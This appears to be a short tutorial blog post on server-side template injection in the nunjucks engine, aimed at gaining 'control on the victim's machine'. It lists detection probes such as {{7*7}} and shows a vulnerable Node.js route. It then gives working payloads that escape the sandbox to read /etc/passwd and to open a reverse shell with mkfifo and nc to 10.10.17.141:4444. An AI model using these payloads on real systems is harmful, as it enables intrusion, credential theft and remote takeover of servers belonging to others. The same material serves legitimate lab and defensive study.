I would like to share server side template injection exploitation to enable you to have reverse shell connection back to your machine for better control on the victim’s machine
What is SSTI
A server-side template injection can happen when the attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
$output = $template->render("Hi " . $_GET['name']);
How to detect?
Lets say that we have input data like below and it is relfected back to the result like this. When we input data test@test.com then it will be returned back to the output page. If this is contain SSTI vulnerability then we can try to put this string payload

Payload
if we put the payload below into the
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
Lets check if the input box is vulnerable to the SSTI by inputing the payload into the box

We test to input the email address with {{7*7}}@test.com and it is giving us the output 49@test.com which means the template engine is vulnerable to injection which cause server side execution
If we take a look at the backend code of that application is like below
router.post('/api/submit', async function(req, res) {
if(req.url) {
const { email } = unflatten(req.body);
var data = {
email: email
};
connection.connect(function(err) {
connection.query('INSERT INTO users SET email = ?', email, function(err, result) {
var template = 'You will receive updates on the following email address: ' + email + '.';
rendered = nunjucks.renderString(
str = template
);
return res.json({'response': rendered});
});
});
};
});
Based on the above code that we can see that nunjucks engine will render the template with the variable that we can control which can lead to server side execution
Exploitation
We can find a very good writeup about nunjucks template engine and its vulnerability in this webpage disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
On that article we can find a sample code to execute server side code to retrieve /etc/passwd on the server
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
Following the above payload sample then we can try to create reverse shell with the following code
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.141 4444 >/tmp/f~')\")()}}

